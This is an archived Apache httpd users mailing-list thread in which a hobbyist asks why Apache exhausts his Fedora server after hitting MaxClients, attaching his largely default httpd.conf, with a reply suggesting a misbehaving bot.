You are viewing a plain text version of this content. The canonical link for it is here.
Posted to users@httpd.apache.org by Dan Bunyard <da...@gmail.com> on 2010/01/27 02:28:28 UTC

[users@httpd] Runaway Apache Process

This has happened twice now and it's a little bit concerning to me. I have a
Fedora 12 server with 5GB of RAM that I use to host a few small web sites of
mine. As I mentioned, this happened once before. I tried to load one of my
web sites today and it took FOREVER (as in the 10s of minutes) to load. I
SSHed into the box and found the load average around 100 (dual core
machine). Since this was the second time it had happened, I knew that it was
Apache causing it. So I restarted the Apache service and everything returned
to normal. A look in the error_log showed this error:

server reached MaxClients setting, consider raising the MaxClients setting

I suspect that this is the reason that Apache was eating up all my system
resources but I don't have any idea how to fix it.

I do use PHP and MySQL fairly heavily. All the sites on the server use PHP
in some form and most of the use MySQL. Could this be part of the problem? I
attached a copy of my httpd.conf file to this message if that will help
(It's also inserted into this email at the very bottom).

Any help would be appreciated!!!
Thanks,
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


httpd.conf
#
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See <URL:http://httpd.apache.org/docs/2.2/> for detailed information.
# In particular, see
# <URL:http://httpd.apache.org/docs/2.2/mod/directives.html>
# for a discussion of each configuration directive.
#
#
# Do NOT simply read the instructions in here without understanding
# what they do.  They're here only as hints or reminders.  If you are unsure
# consult the online docs. You have been warned.
#
# The configuration directives are grouped into three basic sections:
#  1. Directives that control the operation of the Apache server process as
a
#     whole (the 'global environment').
#  2. Directives that define the parameters of the 'main' or 'default'
server,
#     which responds to requests that aren't handled by a virtual host.
#     These directives also provide default values for the settings
#     of all virtual hosts.
#  3. Settings for virtual hosts, which allow Web requests to be sent to
#     different IP addresses or hostnames and have them handled by the
#     same Apache server process.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path.  If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "logs/foo.log"
# with ServerRoot set to "/etc/httpd" will be interpreted by the
# server as "/etc/httpd/logs/foo.log".
#

### Section 1: Global Environment
#
# The directives in this section affect the overall operation of Apache,
# such as the number of concurrent requests it can handle or where it
# can find its configuration files.
#

#
# Don't give away too much information about all the subcomponents
# we are running.  Comment out this line if you don't mind remote sites
# finding out what major optional modules you are running
ServerTokens OS

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the LockFile documentation
# (available at <URL:
http://httpd.apache.org/docs/2.2/mod/mpm_common.html#lockfile>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
ServerRoot "/etc/httpd"

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
#
PidFile run/httpd.pid

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 120

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive Off

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 15

##
## Server-Pool Size Regulation (MPM specific)
##

# prefork MPM
# StartServers: number of server processes to start
# MinSpareServers: minimum number of server processes which are kept spare
# MaxSpareServers: maximum number of server processes which are kept spare
# ServerLimit: maximum value for MaxClients for the lifetime of the server
# MaxClients: maximum number of server processes allowed to start
# MaxRequestsPerChild: maximum number of requests a server process serves
<IfModule prefork.c>
StartServers       8
MinSpareServers    5
MaxSpareServers   20
ServerLimit      256
MaxClients       100
MaxRequestsPerChild  0
</IfModule>

# worker MPM
# StartServers: initial number of server processes to start
# MaxClients: maximum number of simultaneous client connections
# MinSpareThreads: minimum number of worker threads which are kept spare
# MaxSpareThreads: maximum number of worker threads which are kept spare
# ThreadsPerChild: constant number of worker threads in each server process
# MaxRequestsPerChild: maximum number of requests a server process serves
<IfModule worker.c>
StartServers         2
MaxClients         100
MinSpareThreads     15
MaxSpareThreads     25
ThreadsPerChild     5
MaxRequestsPerChild  0
</IfModule>

#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, in addition to the default. See also the <VirtualHost>
# directive.
#
# Change this to Listen on specific IP addresses as shown below to
# prevent Apache from glomming onto all bound IP addresses (0.0.0.0)
#
#Listen 12.34.56.78:80
Listen *:80
Listen *:81

#
# Dynamic Shared Object (DSO) Support
#
# To be able to use the functionality of a module which was built as a DSO
you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available _before_ they are used.
# Statically compiled modules (those listed by `httpd -l') do not need
# to be loaded here.
#
# Example:
# LoadModule foo_module modules/mod_foo.so
#
LoadModule auth_basic_module modules/mod_auth_basic.so
LoadModule auth_digest_module modules/mod_auth_digest.so
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_alias_module modules/mod_authn_alias.so
LoadModule authn_anon_module modules/mod_authn_anon.so
LoadModule authn_dbm_module modules/mod_authn_dbm.so
LoadModule authn_default_module modules/mod_authn_default.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_user_module modules/mod_authz_user.so
LoadModule authz_owner_module modules/mod_authz_owner.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_dbm_module modules/mod_authz_dbm.so
LoadModule authz_default_module modules/mod_authz_default.so
LoadModule ldap_module modules/mod_ldap.so
LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
LoadModule include_module modules/mod_include.so
LoadModule log_config_module modules/mod_log_config.so
LoadModule logio_module modules/mod_logio.so
LoadModule env_module modules/mod_env.so
LoadModule ext_filter_module modules/mod_ext_filter.so
LoadModule mime_magic_module modules/mod_mime_magic.so
LoadModule expires_module modules/mod_expires.so
LoadModule deflate_module modules/mod_deflate.so
LoadModule headers_module modules/mod_headers.so
LoadModule usertrack_module modules/mod_usertrack.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule mime_module modules/mod_mime.so
LoadModule dav_module modules/mod_dav.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
LoadModule info_module modules/mod_info.so
LoadModule dav_fs_module modules/mod_dav_fs.so
LoadModule vhost_alias_module modules/mod_vhost_alias.so
LoadModule negotiation_module modules/mod_negotiation.so
LoadModule dir_module modules/mod_dir.so
LoadModule actions_module modules/mod_actions.so
LoadModule speling_module modules/mod_speling.so
LoadModule userdir_module modules/mod_userdir.so
LoadModule alias_module modules/mod_alias.so
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
LoadModule cache_module modules/mod_cache.so
LoadModule suexec_module modules/mod_suexec.so
LoadModule disk_cache_module modules/mod_disk_cache.so
LoadModule cgi_module modules/mod_cgi.so

#
# The following modules are not loaded by default:
#
#LoadModule cern_meta_module modules/mod_cern_meta.so
#LoadModule asis_module modules/mod_asis.so

#
# Load config files from the config directory "/etc/httpd/conf.d".
#
Include conf.d/*.conf

#
# ExtendedStatus controls whether Apache will generate "full" status
# information (ExtendedStatus On) or just basic information (ExtendedStatus
# Off) when the "server-status" handler is called. The default is Off.
#
ExtendedStatus On

#
# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.
#
# User/Group: The name (or #number) of the user/group to run httpd as.
#  . On SCO (ODT 3) use "User nouser" and "Group nogroup".
#  . On HPUX you may not be able to use shared memory as nobody, and the
#    suggested workaround is to create a user www and use that user.
#  NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
#  when the value of (unsigned)Group is above 60000;
#  don't use Group #-1 on these systems!
#
User apache
Group apache

### Section 2: 'Main' server configuration
#
# The directives in this section set up the values used by the 'main'
# server, which responds to any requests that aren't handled by a
# <VirtualHost> definition.  These values also provide defaults for
# any <VirtualHost> containers you may define later in the file.
#
# All of these directives may appear inside <VirtualHost> containers,
# in which case these default settings will be overridden for the
# virtual host being defined.
#

#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed.  This address appears on some server-generated pages, such
# as error documents.  e.g. admin@your-domain.com
#
ServerAdmin dan.bunyard@att.net

#
# ServerName gives the name and port that the server uses to identify
itself.
# This can often be determined automatically, but we recommend you specify
# it explicitly to prevent problems during startup.
#
# If this is not set to valid DNS name for your host, server-generated
# redirections will not work.  See also the UseCanonicalName directive.
#
# If your host doesn't have a registered DNS name, enter its IP address
here.
# You will have to access it by its address anyway, and this will make
# redirections work in a sensible way.
#
ServerName server.danodemano.com:80

#
# UseCanonicalName: Determines how Apache constructs self-referencing
# URLs and the SERVER_NAME and SERVER_PORT variables.
# When set "Off", Apache will use the Hostname and Port supplied
# by the client.  When set "On", Apache will use the value of the
# ServerName directive.
#
UseCanonicalName Off

#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "/var/www/html"

#
# Each directory to which Apache has access can be configured with respect
# to which services and features are allowed and/or disabled in that
# directory (and its subdirectories).
#
# First, we configure the "default" to be a very restrictive set of
# features.
#
<Directory />
    Options FollowSymLinks
    AllowOverride None
</Directory>

#
# Note that from this point forward you must specifically allow
# particular features to be enabled - so if something's not working as
# you might expect, make sure that you have specifically enabled it
# below.
#

#
# This should be changed to whatever you set DocumentRoot to.
#
<Directory "/var/www/html">

#
# Possible values for the Options directive are "None", "All",
# or any combination of:
#   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important.  Please see
# http://httpd.apache.org/docs/2.2/mod/core.html#options
# for more information.
#
    Options Indexes FollowSymLinks

#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
#   Options FileInfo AuthConfig Limit
#
    AllowOverride All

#
# Controls who can get stuff from this server.
#
    Order allow,deny
    Allow from all

</Directory>

#Allow access to firestats images
<Directory /var/www/html/firestats/img>
    AllowOverride None
</Directory>

#
# UserDir: The name of the directory that is appended onto a user's home
# directory if a ~user request is received.
#
# The path to the end user account 'public_html' directory must be
# accessible to the webserver userid.  This usually means that ~userid
# must have permissions of 711, ~userid/public_html must have permissions
# of 755, and documents contained therein must be world-readable.
# Otherwise, the client will only receive a "403 Forbidden" message.
#
# See also: http://httpd.apache.org/docs/misc/FAQ.html#forbidden
#
<IfModule mod_userdir.c>
    #
    # UserDir is disabled by default since it can confirm the presence
    # of a username on the system (depending on home directory
    # permissions).
    #
    UserDir disabled

    #
    # To enable requests to /~user/ to serve the user's public_html
    # directory, remove the "UserDir disabled" line above, and uncomment
    # the following line instead:
    #
    #UserDir public_html

</IfModule>

#
# Control access to UserDir directories.  The following is an example
# for a site where these directories are restricted to read-only.
#
#<Directory /home/*/public_html>
#    AllowOverride FileInfo AuthConfig Limit
#    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
#    <Limit GET POST OPTIONS>
#        Order allow,deny
#        Allow from all
#    </Limit>
#    <LimitExcept GET POST OPTIONS>
#        Order deny,allow
#        Deny from all
#    </LimitExcept>
#</Directory>

#
# DirectoryIndex: sets the file that Apache will serve if a directory
# is requested.
#
# The index.html.var file (a type-map) is used to deliver content-
# negotiated documents.  The MultiViews Option can be used for the
# same purpose, but it is much slower.
#
DirectoryIndex index.html index.html.var

#
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ~ "^\.ht">
    Order allow,deny
    Deny from all
</Files>

#
# TypesConfig describes where the mime.types file (or equivalent) is
# to be found.
#
TypesConfig /etc/mime.types

#
# DefaultType is the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value.  If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.
#
DefaultType text/plain

#
# The mod_mime_magic module allows the server to use various hints from the
# contents of the file itself to determine its type.  The MIMEMagicFile
# directive tells the module where the hint definitions are located.
#
<IfModule mod_mime_magic.c>
#   MIMEMagicFile /usr/share/magic.mime
    MIMEMagicFile conf/magic
</IfModule>

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

#
# EnableMMAP: Control whether memory-mapping is used to deliver
# files (assuming that the underlying OS supports it).
# The default is on; turn this off if you serve from NFS-mounted
# filesystems.  On some systems, turning it off (regardless of
# filesystem) can improve performance; for details, please see
# http://httpd.apache.org/docs/2.2/mod/core.html#enablemmap
#
#EnableMMAP off

#
# EnableSendfile: Control whether the sendfile kernel support is
# used to deliver files (assuming that the OS supports it).
# The default is on; turn this off if you serve from NFS-mounted
# filesystems.  Please see
# http://httpd.apache.org/docs/2.2/mod/core.html#enablesendfile
#
#EnableSendfile off

#
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog logs/error_log

#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn

#
# The following directives define some format nicknames for use with
# a CustomLog directive (see below).
#
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\""
combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# "combinedio" includes actual counts of actual bytes received (%I) and sent
(%O); this
# requires the mod_logio module to be loaded.
#LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I
%O" combinedio

#
# The location and format of the access logfile (Common Logfile Format).
# If you do not define any access logfiles within a <VirtualHost>
# container, they will be logged here.  Contrariwise, if you *do*
# define per-<VirtualHost> access logfiles, transactions will be
# logged therein and *not* in this file.
#
#CustomLog logs/access_log common

#
# If you would like to have separate agent and referer logfiles, uncomment
# the following directives.
#
#CustomLog logs/referer_log referer
#CustomLog logs/agent_log agent

#
# For a single logfile with access, agent, and referer information
# (Combined Logfile Format), use the following directive:
#
CustomLog logs/access_log combined

#
# Optionally add a line containing the server version and virtual host
# name to server-generated pages (internal error documents, FTP directory
# listings, mod_status and mod_info output etc., but not CGI generated
# documents or custom error documents).
# Set to "EMail" to also include a mailto: link to the ServerAdmin.
# Set to one of:  On | Off | EMail
#
ServerSignature On

#
# Aliases: Add here as many aliases as you need (with no limit). The format
is
# Alias fakename realname
#
# Note that if you include a trailing / on fakename then the server will
# require it to be present in the URL.  So "/icons" isn't aliased in this
# example, only "/icons/".  If the fakename is slash-terminated, then the
# realname must also be slash terminated, and if the fakename omits the
# trailing slash, the realname must also omit it.
#
# We include the /icons/ alias for FancyIndexed directory listings.  If you
# do not use FancyIndexing, you may comment this out.
#
Alias /icons/ "/var/www/icons/"

<Directory "/var/www/icons">
    Options Indexes MultiViews FollowSymLinks
    AllowOverride None
    Order allow,deny
    Allow from all
</Directory>

#
# WebDAV module configuration section.
#
<IfModule mod_dav_fs.c>
    # Location of the WebDAV lock database.
    DAVLockDB /var/lib/dav/lockdb
</IfModule>

#
# ScriptAlias: This controls which directories contain server scripts.
# ScriptAliases are essentially the same as Aliases, except that
# documents in the realname directory are treated as applications and
# run by the server when requested rather than as documents sent to the
client.
# The same rules about trailing "/" apply to ScriptAlias directives as to
# Alias.
#
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

#
# "/var/www/cgi-bin" should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#
<Directory "/var/www/cgi-bin">
    AllowOverride None
    Options None
    Order allow,deny
    Allow from all
</Directory>

#
# Redirect allows you to tell clients about documents which used to exist in
# your server's namespace, but do not anymore. This allows you to tell the
# clients where to look for the relocated document.
# Example:
# Redirect permanent /foo http://www.example.com/bar

#
# Directives controlling the display of server-generated directory listings.
#

#
# IndexOptions: Controls the appearance of server-generated directory
# listings.
#
IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable Charset=UTF-8

#
# AddIcon* directives tell the server which icon to show for different
# files or filename extensions.  These are only displayed for
# FancyIndexed directories.
#
AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip

AddIconByType (TXT,/icons/text.gif) text/*
AddIconByType (IMG,/icons/image2.gif) image/*
AddIconByType (SND,/icons/sound2.gif) audio/*
AddIconByType (VID,/icons/movie.gif) video/*

AddIcon /icons/binary.gif .bin .exe
AddIcon /icons/binhex.gif .hqx
AddIcon /icons/tar.gif .tar
AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
AddIcon /icons/a.gif .ps .ai .eps
AddIcon /icons/layout.gif .html .shtml .htm .pdf
AddIcon /icons/text.gif .txt
AddIcon /icons/c.gif .c
AddIcon /icons/p.gif .pl .py
AddIcon /icons/f.gif .for
AddIcon /icons/dvi.gif .dvi
AddIcon /icons/uuencoded.gif .uu
AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
AddIcon /icons/tex.gif .tex
AddIcon /icons/bomb.gif core

AddIcon /icons/back.gif ..
AddIcon /icons/hand.right.gif README
AddIcon /icons/folder.gif ^^DIRECTORY^^
AddIcon /icons/blank.gif ^^BLANKICON^^

#
# DefaultIcon is which icon to show for files which do not have an icon
# explicitly set.
#
DefaultIcon /icons/unknown.gif

#
# AddDescription allows you to place a short description after a file in
# server-generated indexes.  These are only displayed for FancyIndexed
# directories.
# Format: AddDescription "description" filename
#
#AddDescription "GZIP compressed document" .gz
#AddDescription "tar archive" .tar
#AddDescription "GZIP compressed tar archive" .tgz

#
# ReadmeName is the name of the README file the server will look for by
# default, and append to directory listings.
#
# HeaderName is the name of a file which should be prepended to
# directory indexes.
ReadmeName README.html
HeaderName HEADER.html

#
# IndexIgnore is a set of filenames which directory indexing should ignore
# and not include in the listing.  Shell-style wildcarding is permitted.
#
IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t

#
# DefaultLanguage and AddLanguage allows you to specify the language of
# a document. You can then use content negotiation to give a browser a
# file in a language the user can understand.
#
# Specify a default language. This means that all data
# going out without a specific language tag (see below) will
# be marked with this one. You probably do NOT want to set
# this unless you are sure it is correct for all cases.
#
# * It is generally better to not mark a page as
# * being a certain language than marking it with the wrong
# * language!
#
# DefaultLanguage nl
#
# Note 1: The suffix does not have to be the same as the language
# keyword --- those with documents in Polish (whose net-standard
# language code is pl) may wish to use "AddLanguage pl .po" to
# avoid the ambiguity with the common suffix for perl scripts.
#
# Note 2: The example entries below illustrate that in some cases
# the two character 'Language' abbreviation is not identical to
# the two character 'Country' code for its country,
# E.g. 'Danmark/dk' versus 'Danish/da'.
#
# Note 3: In the case of 'ltz' we violate the RFC by using a three char
# specifier. There is 'work in progress' to fix this and get
# the reference data for rfc1766 cleaned up.
#
# Catalan (ca) - Croatian (hr) - Czech (cs) - Danish (da) - Dutch (nl)
# English (en) - Esperanto (eo) - Estonian (et) - French (fr) - German (de)
# Greek-Modern (el) - Hebrew (he) - Italian (it) - Japanese (ja)
# Korean (ko) - Luxembourgeois* (ltz) - Norwegian Nynorsk (nn)
# Norwegian (no) - Polish (pl) - Portugese (pt)
# Brazilian Portuguese (pt-BR) - Russian (ru) - Swedish (sv)
# Simplified Chinese (zh-CN) - Spanish (es) - Traditional Chinese (zh-TW)
#
AddLanguage ca .ca
AddLanguage cs .cz .cs
AddLanguage da .dk
AddLanguage de .de
AddLanguage el .el
AddLanguage en .en
AddLanguage eo .eo
AddLanguage es .es
AddLanguage et .et
AddLanguage fr .fr
AddLanguage he .he
AddLanguage hr .hr
AddLanguage it .it
AddLanguage ja .ja
AddLanguage ko .ko
AddLanguage ltz .ltz
AddLanguage nl .nl
AddLanguage nn .nn
AddLanguage no .no
AddLanguage pl .po
AddLanguage pt .pt
AddLanguage pt-BR .pt-br
AddLanguage ru .ru
AddLanguage sv .sv
AddLanguage zh-CN .zh-cn
AddLanguage zh-TW .zh-tw

#
# LanguagePriority allows you to give precedence to some languages
# in case of a tie during content negotiation.
#
# Just list the languages in decreasing order of preference. We have
# more or less alphabetized them here. You probably want to change this.
#
LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no
pl pt pt-BR ru sv zh-CN zh-TW

#
# ForceLanguagePriority allows you to serve a result page rather than
# MULTIPLE CHOICES (Prefer) [in case of a tie] or NOT ACCEPTABLE (Fallback)
# [in case no accepted languages matched the available variants]
#
ForceLanguagePriority Prefer Fallback

#
# Specify a default charset for all content served; this enables
# interpretation of all content as UTF-8 by default.  To use the
# default browser choice (ISO-8859-1), or to allow the META tags
# in HTML content to override this choice, comment out this
# directive:
#
AddDefaultCharset UTF-8

#
# AddType allows you to add to or override the MIME configuration
# file mime.types for specific file types.
#
#AddType application/x-tar .tgz

#
# AddEncoding allows you to have certain browsers uncompress
# information on the fly. Note: Not all browsers support this.
# Despite the name similarity, the following Add* directives have nothing
# to do with the FancyIndexing customization directives above.
#
#AddEncoding x-compress .Z
#AddEncoding x-gzip .gz .tgz

# If the AddEncoding directives above are commented-out, then you
# probably should define those extensions to indicate media types:
#
AddType application/x-compress .Z
AddType application/x-gzip .gz .tgz

#
#   MIME-types for downloading Certificates and CRLs
#
AddType application/x-x509-ca-cert .crt
AddType application/x-pkcs7-crl    .crl

#
# AddHandler allows you to map certain file extensions to "handlers":
# actions unrelated to filetype. These can be either built into the server
# or added with the Action directive (see below)
#
# To use CGI scripts outside of ScriptAliased directories:
# (You will also need to add "ExecCGI" to the "Options" directive.)
#
#AddHandler cgi-script .cgi

#
# For files that include their own HTTP headers:
#
#AddHandler send-as-is asis

#
# For type maps (negotiated resources):
# (This is enabled by default to allow the Apache "It Worked" page
#  to be distributed in multiple languages.)
#
AddHandler type-map var

#
# Filters allow you to process content before it is sent to the client.
#
# To parse .shtml files for server-side includes (SSI):
# (You will also need to add "Includes" to the "Options" directive.)
#
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml

#
# Action lets you define media types that will execute a script whenever
# a matching file is called. This eliminates the need for repeated URL
# pathnames for oft-used CGI file processors.
# Format: Action media/type /cgi-script/location
# Format: Action handler-name /cgi-script/location
#

#
# Customizable error responses come in three flavors:
# 1) plain text 2) local redirects 3) external redirects
#
# Some examples:
#ErrorDocument 500 "The server made a boo boo."
#ErrorDocument 404 /missing.html
#ErrorDocument 404 "/cgi-bin/missing_handler.pl"
#ErrorDocument 402 http://www.example.com/subscription_info.html
#

#
# Putting this all together, we can internationalize error responses.
#
# We use Alias to redirect any /error/HTTP_<error>.html.var response to
# our collection of by-error message multi-language collections.  We use
# includes to substitute the appropriate text.
#
# You can modify the messages' appearance without changing any of the
# default HTTP_<error>.html.var files by adding the line:
#
#   Alias /error/include/ "/your/include/path/"
#
# which allows you to create your own set of files by starting with the
# /var/www/error/include/ files and
# copying them to /your/include/path/, even on a per-VirtualHost basis.
#

Alias /error/ "/var/www/error/"

<IfModule mod_negotiation.c>
<IfModule mod_include.c>
    <Directory "/var/www/error">
        AllowOverride None
        Options IncludesNoExec
        AddOutputFilter Includes html
        AddHandler type-map var
        Order allow,deny
        Allow from all
        LanguagePriority en es de fr
        ForceLanguagePriority Prefer Fallback
    </Directory>

#    ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
#    ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
#    ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
#    ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
#    ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
#    ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
#    ErrorDocument 410 /error/HTTP_GONE.html.var
#    ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
#    ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
#    ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
#    ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
#    ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var
#    ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
#    ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
#    ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
#    ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
#    ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var

</IfModule>
</IfModule>

#
# The following directives modify normal HTTP response behavior to
# handle known problems with browser implementations.
#
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0
BrowserMatch "RealPlayer 4\.0" force-response-1.0
BrowserMatch "Java/1\.0" force-response-1.0
BrowserMatch "JDK/1\.0" force-response-1.0

#
# The following directive disables redirects on non-GET requests for
# a directory that does not include the trailing slash.  This fixes a
# problem with Microsoft WebFolders which does not appropriately handle
# redirects for folders with DAV methods.
# Same deal with Apple's DAV filesystem and Gnome VFS support for DAV.
#
BrowserMatch "Microsoft Data Access Internet Publishing Provider"
redirect-carefully
BrowserMatch "MS FrontPage" redirect-carefully
BrowserMatch "^WebDrive" redirect-carefully
BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully
BrowserMatch "^gnome-vfs/1.0" redirect-carefully
BrowserMatch "^XML Spy" redirect-carefully
BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully

#
# Allow server status reports generated by mod_status,
# with the URL of http://servername/server-status
# Change the ".example.com" to match your domain to enable.
#
#<Location /server-status>
#    SetHandler server-status
#    Order deny,allow
#    Deny from all
#    Allow from .example.com
#</Location>

#
# Allow remote server configuration reports, with the URL of
#  http://servername/server-info (requires that mod_info.c be loaded).
# Change the ".example.com" to match your domain to enable.
#
#<Location /server-info>
#    SetHandler server-info
#    Order deny,allow
#    Deny from all
#    Allow from .example.com
#</Location>

#
# Proxy Server directives. Uncomment the following lines to
# enable the proxy server:
#
#<IfModule mod_proxy.c>
#ProxyRequests On
#
#<Proxy *>
#    Order deny,allow
#    Deny from all
#    Allow from .example.com
#</Proxy>

#
# Enable/disable the handling of HTTP/1.1 "Via:" headers.
# ("Full" adds the server version; "Block" removes all outgoing Via:
headers)
# Set to one of: Off | On | Full | Block
#
#ProxyVia On

#
# To enable a cache of proxied content, uncomment the following lines.
# See http://httpd.apache.org/docs/2.2/mod/mod_cache.html for more details.
#
#<IfModule mod_disk_cache.c>
#   CacheEnable disk /
#   CacheRoot "/var/cache/mod_proxy"
#</IfModule>
#

#</IfModule>
# End of proxy directives.

### Section 3: Virtual Hosts
#
# VirtualHost: If you want to maintain multiple domains/hostnames on your
# machine you can setup VirtualHost containers for them. Most configurations
# use only name-based virtual hosts so the server doesn't need to worry
about
# IP addresses. This is indicated by the asterisks in the directives below.
#
# Please see the documentation at
# <URL:http://httpd.apache.org/docs/2.2/vhosts/>
# for further details before you try to setup virtual hosts.
#
# You may use the command line option '-S' to verify your virtual host
# configuration.

#
# Use name-based virtual hosting.
#
NameVirtualHost *:80
#
# NOTE: NameVirtualHost cannot be used without a port specifier
# (e.g. :80) if mod_ssl is being used, due to the nature of the
# SSL protocol.
#

#
# VirtualHost example:
# Almost any Apache directive may go into a VirtualHost container.
# The first VirtualHost section is used for requests without a known
# server name.
#
#<VirtualHost *:80>
#    ServerAdmin webmaster@dummy-host.example.com
#    DocumentRoot /www/docs/dummy-host.example.com
#    ServerName dummy-host.example.com
#    ErrorLog logs/dummy-host.example.com-error_log
#    CustomLog logs/dummy-host.example.com-access_log common
#</VirtualHost>

<!--Snipped all my virtual hosts to cut down on message size, they are in
the conf-->

Re: [users@httpd] Runaway Apache Process

Posted by Reese <ho...@inkworkswell.com>.
On 26-Jan-10 21:05, Dan Bunyard wrote:
> I can't imagine that RAM is the problem, nor the CPU.  It's a dual core
> machine with 5GB of RAM that gets MAYBE a few hundred unique hits a month

How many non-unique hits?

We had a problem once, ended up losing a host over it. It turned out
to be a malicious or poorly-programmed bot that kept hammering
relentlessly - services from that host were sweet but they couldn't
be bothered and dumped our account rather than do some due diligence
and protect themselves.

What shows up in your logs?

> between ALL the web sites on it.  It did this once before I even had most of
> the web sites on it, it only had one or two on it the first time it happened
> and was getting maybe a dozen hits a month.
> --
> Dan
> 
> http://www.moonlightrpg.com
> http://www.linkedin.com/in/danbunyard
> http://www.danodemano.com
> http://www.dansrandomness.com
> http://www.danandshelley.com


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


